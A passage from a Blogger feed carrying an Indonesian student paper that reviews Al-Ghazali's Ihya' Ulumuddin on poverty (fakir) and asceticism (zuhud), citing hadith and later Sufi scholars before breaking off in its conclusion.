+0000</pubDate><atom:updated>2009-01-13T11:50:56.694-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Tasawuf</category><title>Kajian Teks Tentang Ihy&#39; Ulumuddin Bab Fakir dan Zuhud</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglqP1U4AychyphenhyphenAd4XHRYIjHZkD2_dc5_528bhqphr03gFcC88QPLCiC2LDB344pZJx2GN185eChwgKmyMr5uF05Zvml-aVEkGvFQ6rAhRiGgCEi45cBbCoZMdbzKBPXl9XFiefgfoBdem0/s1600-h/ihy&#39;.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 72px; height: 108px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglqP1U4AychyphenhyphenAd4XHRYIjHZkD2_dc5_528bhqphr03gFcC88QPLCiC2LDB344pZJx2GN185eChwgKmyMr5uF05Zvml-aVEkGvFQ6rAhRiGgCEi45cBbCoZMdbzKBPXl9XFiefgfoBdem0/s320/ihy&#39;.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5275269722041678306&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;PENDAHULUAN&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 17.85pt; text-align: justify; text-indent: 17.85pt; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Imam Al-Ghazali adalah tokoh Islam yang sangat terkenal, disamping sebagai ahli tasawuf beliau juga terkenal sebagai seorang filsuf Islam meskipun ia lebih tersohor sebagai ahli tasawuf. Tidak banyak orang khususnya umat Islam mengetahui bahwa beliau (Al-Ghazali) selain sebagai ahli dalam bidang ruhani (ilmu kebatinan) beliau juga ahli dalam bidang filsafat. Seperti yang dituliskan oleh Za’szuk (pengamat dan peniliti Al-Ghazali dari sudut filsafat) mengatakan bahwa teori skeptis Descrat itu mencontoh dari teori-teori Al-Ghazali (sayangnya penulis lupa judul buku yang ditulis oleh Za’zuk)&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 17.85pt; text-align: justify; text-indent: 17.85pt; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Melihat nama besar beliau terutama pada kitab terkenalnya yaitu IHYA’ UMULLUDDIN yang tak terlepas dari kritikkan terutama dari kalangan salafi, Al-Ghazali mampu mengkaver ikhawal yang berkenaan dengan kehidupan manusia dengan Tuhannya hingga sampai hal yang terkecil pun, yaitu fakir dan zuhud. Maka dalam makalah ini penulis akan mencoba mereviuw kebali&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;mengenai hakekat fakir, menjelaskan tentang keutamaan fakir secara mutlak, haramnya meminta tanpa dharutat &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 17.85pt; text-align: justify; text-indent: 17.85pt; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Lalu makalah ini juga akan membahas (mereviuw) kembali mengenai hal – hal yang berhubungan dengan penjelasan hakekat zuhud, penjelasan keutamaan zuhud, penjelasan derajat zuhud dalam makanan, pakaian, tempat tinggal, perabot – perabot dan berbagai macam penghidupan dan penjelasan tanda – tanda zuhud.&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;                            &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt; &lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;BAGIAN PERTAMA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;TENTANG FAKIR &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Dalam kitab Ihya’ Ulumuddin, Imam Al-Ghazali menjelaskan bahwa fakir itu adalah orang yang tidak memiliki harta sama sekali. Kemudian Imam Al-Ghazali mengkasifikasikan hakikat fakir itu dan memberinya masing-masing nama ;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Hal yang pertama, &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;adalah jika orang itu diberi harta, orang itu tidak menyukainya dan orang itu merasa tersiksa dengan harta tersebut. Maka orang itu disebut zuhud&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Hal yang kedua,&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt; ialah orang tersebut tidak menyukai harta walaupun orang itu berhasil memperoleh harta tersebut dengan penuh kesenangan. Tapi orang tersebut tidak membenci dengan harta yang diperolhnya itu, maka ia disebut rela&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Hal yang ketiga,&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt; yaitu orang tersebut diberi harta namun tidak sampai harta tersebut menggerakkan orang itu untuk mencarinya, tapi orang itu tetap mau mengambilnya.maka sifat itu disebut qona’ah.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Hal yang keempat&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;, orang tersebut lemah dalam mencari harta namun ia tetap mau mencarinya walupun dengan bersusah payah, hanya karena kerakusannya. Orang ini disebut rakus harta.&lt;b style=&quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Hal yang kelima,&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt; orang tersebut tidak memiliki harta sama sekali kalaupun ada orang tersebut masih saja dibilang telanjang kalaupun memakai pakaian. Maka orang itu disebut ‘terpaksa’ ( Drs. H. Moh. Zuhri, Dipl, TAFL, &lt;i style=&quot;&quot;&gt;Ihya’ Ulumuddin Jilid VIII (Imam Al-Ghazali), &lt;/i&gt;Semarang : CV. ASY-SYIFA’, 2003 )hal 127-128.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Al-Ghazali dalam kitabnya banyak menyetir hadits-hadits yang bagi penulis tidak jelas perowinya, menunjukkan keutamaan-keutamaan orang fakir. Seperti dalam hadits yang ada dalam buku berjudul ‘&lt;i style=&quot;&quot;&gt;RINGKASAN IHYA’ UMULUDDIN AL-ghazali’ &lt;/i&gt;tertulis bahwa ada sebuah hadis dari &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Haids dari Imran bin Husain diriwayatkan oleh Ibnu Majah bahwa Rasulullah saw bersabda, ‘ Sesungguhnya Allah menyintai&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;orang fakir yang menjaga kehormatan diri, yang menjadi bapak keluarga.’&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Dalam hadis lain Rasulullah saw juga bersabda,’ orang-orang fakir dari umatku masuk surga sebelum orang-orang kaya dari mereka dengan selisih waktu lima ratus tahun.’&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Diriwayatkan oleh At-Turmidzi dari Abu Umamah bahwa Rasulullah menceritakan pengalamannya bertemu dengan malaikat Jibril. Malaikat Jibril berkata kepada Rasulullah saw,’ wahai Muhammad, sesungguhnya Allah swt menyampaikan salam kepadamu. Dia berfirman : apakah engkau menginginkan jika Aku menjadikan gunung sebagai emas dan selalu bersamamu ?’ Rasulullah menjawab,’ sesunggunya dunia hanyalah kampung bagi orang yang tidak memiliki harta dan harta hanya dikumpulkan bagi orang-orang yang tidak mempunyai akal,’ Jibril a.s berkata, ‘wahai Muhammad, semoga Allah meneguhkan engkau dengan kalimat yang teguh ( hikmah ).’&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Dalam hadis lain disebutkan,’ para nabi yang paling akhir masuk surga adalah Sulaiman putra Dawud as karena kedudukan kerajaannya. Dan sahabatku yang paling akhir masuk surga adalah Abdurrrahman bin Auf karena harta kekayaannya.’&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Orang-orang fakir yang ikhlas dan tak berkeluh kesah menghadapi keadaannya adalah manusia yang paling utama. Ia tenang dan qanaah dari apa yang diterimanya atas karunia Allah. Karena itu Rasulullah saw bersabda,’berbahagialah orang yang mendapatkan petunjuk kepada Islam dan kehidupannya merasa cukup (tidak menjadi beban orang lain) dan puas apa yang ada.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Rasulullah saw bersabda,’wahai golongan orang-orang yang fakir, berikanlah keridhaan dari hati kamu kepada Allah pasti kamu akan mendapatkan kebahagiaan dengan pahala kefakiran. Apabila tidak kamu tidak memperolehnya.’&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Orang fakir yang qanaah dan ikhlas akan mendapatkan pahala. Sedangkan fakir yang rakus sama sekali tidak mendapatkan pahala dari kemiskinannya itu. Diterangkan bahwa orang-orang fakir yang sabar akan duduk berkumpul dan dekat dengan Allah di hari kiamat. Rasulullah&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;saw bersabda,’ sesungguhnya setiap sesuatu itu mempunyai kunci. Adapun kunci surga adalah menyintai orang-orang miskin dan orang-orang fakir, karena kesabaran mereka. Mereka adalah orang-orang yang duduk berkumpul dekat Allah pada hari kiamat.’&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;- Keutamaan fakir atas kaya&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Bahwasanya manusia itu bertentangan pendapat tentang ini. Abu Qasim al-Junaidi, Ibrahim bin Ahmad al-Khawwash dan kebanyakan ulama berpendapat pada keutamaan fakir melebihi kaya. Abul Abbas Ahmad bin Muhammad bin Atha’ berkata : «’orang kaya yang bersyukur yang terdiri dengan kebenaran itu lebih utama daripada orang fakir yang bersabar’.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;                                                  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt;   &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;BAGIAN KEDUA TENTANG ZUHUD&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Dalam islam Zuhud mempunyai pengertian khusus, zuhud bukanlah kependetaan atau terputusnya hubungan duniawi. Akan tetapi ia adalah hikamh, pemahaman yang membuat para penganutnya mempunyai pandangan khusus terhadap kehidupan duniawi, dimana mereka tetap bekerja dan berusaha, akan tetapi kehidupan duniawi itu tidak menguasai kecenderungan kalbu mereka, serta tidak membuat mereka mengingkari Tuhannya. ( Abu al-Wafar al-Ghunnimi al-Taftazani, 1985 : 54).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Zuhud membebaskan dirinya secara penuh dari segala hal yang menghalangi kebebasannya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Hasan Al-Baghry : dunia merupakan tempat kerja bagi orang yang diseratai perasaan tidak senang dan tidak butuh kepadanya, dan dunia merasa bahagia bersamanya/ dalam menyertainya. Barang siapa menyertainya dengan perasaan ingin memilikinya, dan mencintainya, dia akan dibuat menderita oleh dunia serta diantarakan pada hal-hal yang tidaj tertanggungkan oleh kesabarannya. ( ‘abd al-wahhab al- Sya’ranni. H : 72).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Sesungguhnya zuhud terhadap dunia adalah suatu maqam ( kedudukan) yang mulia diantara kedudukan orang – orang yang menempuh jalan akherat. Orang disebut zuhud karena hatinya tidak tertarik dengan harta kekayaan duniawa. Orang itu lebih tertarik dengan kepentingan akheratnya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Tanda-tanda zuhud, kadang-kadang ada yang berpendapat bahwa mwninggalkan harta itu zuhud. Sebenarnya tidaklah seperti itu. Karena meninggalkan harta dan menimbulkan keburukan itu sangat mudah dilakukan oleh orang-orang yang ingin dianggap zuhud. Banyak orang-orang yang makan sedikit, dan hidup sangat sederhana-bahkan-miskin lalu tekun beribadah dan ia mendapat pujian dan predikat sebagai zuhud. Kemudian ia merasa sangat senang dipuji demikian. Hal yang demikian bukanlah yang dimaksudkan zuhud. Secara lahiriah mereka zuhud, namun secara batiniah bahwa jiwanya dipenuhi oleh sifat riya’ dan ujub. Mereka mengikuti hawa nafsunya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Oleh karena itu mengetahui zuhud adalah sukar. Bahkan mengetahui apakah seseorang itu benar-benar zuhud pun sangat sulit. Yang penting adalah berpegang pada batin. ( Abu Fajar al-Qalami, &lt;i style=&quot;&quot;&gt;Ringkasan IHYA’ ULUMUDDIN (imam al-Ghazali) &lt;/i&gt;Surabaya : Gitamedia Press, 2003) hal 343.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Ada tiga tanda Zuhud yang dirasakan dalam batin seseorang :&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ol style=&quot;margin-top: 0in;&quot; start=&quot;1&quot; type=&quot;1&quot;&gt;&lt;li class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;seseorang      tidak merasa gembira terhadap sesuatu yang ada di depannya ( harta dan      sebagainya) dan tidak akan sedih jika sesuatu itu tidak ada di depannya.      Sebagaimana firman Allah ,’ Supaya kamu jangan berduka cita terhadap apa      yang terlepas darimu dan agar kamu jangan gembira terhadap sesuatu&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;yang diberikan kepadamu.’ QS al-Hadid      23.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;seseorang      tidak risau jika dicela dan tidak berbangga hati jika dipuji. Mendapat      pujian atau hinaan sama saja dalam bersikap.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;merasa      sangat cinta kepada Allah dan perasaan itu membuat ketaatannya menjadi      sangat kuat.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Imam al-Ghazali mengatakan ,’zuhud berarti membenci dunia demi mencintai akherat. Zuhud bisa juga berarti membenci selain Allah demi mencintai Allah.’&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;&lt;/span&gt;Zuhud menurut Nabi serta para sahabatnya, tidak berarti berpaling secara penuh dari hal-hal duniawi. Tetapi berarti sikap moderat atau jalan tengah dalam menghadapi segala sesuatu, sebagaimana diisyaratkan firman – firman Allah yang berikut : ”Dan begitulah Kami jadikan kamu (umat Islam) umat yang adil serta pilihan”. “Dan carilah apa yang dianugerahkan Allah kepadamu dari (kebahagiaan) negeri akhirat dan janganlah kamu melupakan bagianmu dari (kenikmatan) duniawi”. Sementara dalam hadits disabdakan : “Bekerjalah untuk duniamu seakan kamu akan hidup selamanya, dan bekerjalah untuk akhiratmu seakan kamu akan mati esok hari”&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Zuhud disini berarti tidak merasa bangga atas kemewahan dunia yang telah ada ditangan, dan tidak merasa bersedih karena hilangnya kemewahan itu dari tangannya. Bagi Abu Wafa al-Taftazani, zuhud itu bukanlah kependetaan atau terputusnya kehidupan duniawi, akan tetapi merupakan hikmah pemahaman yang membuat seseorang memiliki pandangan khusus terhadap kehidupan duniawi itu. Mereka tetap bekerja dan berusaha, akan tetapi kehidupan duniawi itu tidak menguasai kecenderungan kalbunya dan tidak membuat mereka mengingkari Tuhannya. Lebih lanjut at-Taftazani menjelaskan bahwa zuhud adalah tidak bersyaratkan kemiskinan. Bahkan terkadang seorang itu kaya, tapi disaat yang sama diapun zahid. Ustman bin Affan dan Abdurrahman ibn Auf adalah para hartawan, tapi keduanya adalah para zahid dengan harta yang mereka miliki.&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Berbicara tentang arti zuhud secara terminologis menurut Prof. Dr. Amin Syukur, tidak bisa dilepaskan dari dua hal. Pertama, zuhud sebagai bagian yang tak terpisahkan dari tasawuf. Kedua, zuhud sebagai moral (akhlak) Islam dan gerakan protes. Apabila tasawuf diartikan adanya kesadaran dan komunikasi langsung antara manusia dengan Tuhan sebagai perwujudan ihsan, maka zuhud merupakan suatu station (maqam) menuju tercapainya “perjumpaan” atau ma’rifat kepada-Nya. Dalam posisi ini menurut A. Mukti Ali, zuhud berarti menghindar dari berkehendak terhadap hal – hal yang bersifat duniawi atau ma siwa Allah. Berkaitan dengan ini al-Hakim Hasan menjelaskan bahwa zuhud adalah “berpaling dari dunia dan menghadapkan diri untuk beribadah melatih dan mendidik jiwa, dan memerangi kesenangannya dengan semedi (khalwat), berkelana, puasa, mengurangi makan dan memperbanyak dzikir”. Zuhud disini berupaya menjauhkan diri dari kelezatan dunia dan mengingkari kelezatan itu meskipun halal, dengan jalan berpuasa yang kadang – kadang pelaksanaannya melebihi apa yang ditentukan oleh agama. Semuanya itu dimaksudkan demi meraih keuntungan akhirat dan tercapainya tujuan tasawuf, yakni ridla, bertemu dan ma’rifat Allah swt.&lt;/span&gt;&lt;/p&gt;              &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center; line-height: 150%;&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b style=&quot;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;PENUTUP/KESIMPULAN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;Dari pemaparan di atas dapat kita petik dan ambil kesimpulan-kesimpulan. Kesimpulan mengenai fakir oleh imam al-Gazali dalam kitabnya yang terkenal yaitu Ihya’Ulumuddin memberikan kontribusi bagi kita bahwa fakir dalam pandangan sufi itu memiliki derajat yang sangat tinggi sekali dibandingkan dengan orang yang kaya. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FR&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Orang yang miskin atau fakir dalam pandangan sufi nantinya akan mendapatkan derajat yang tinggi apabila si fakir tadi rela dan ridha dengan keadaan yang menimpanya. Bahkan nantinya orang fakir itu akan lebih dahulu masuk surga ketimbang orang yang kaya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p 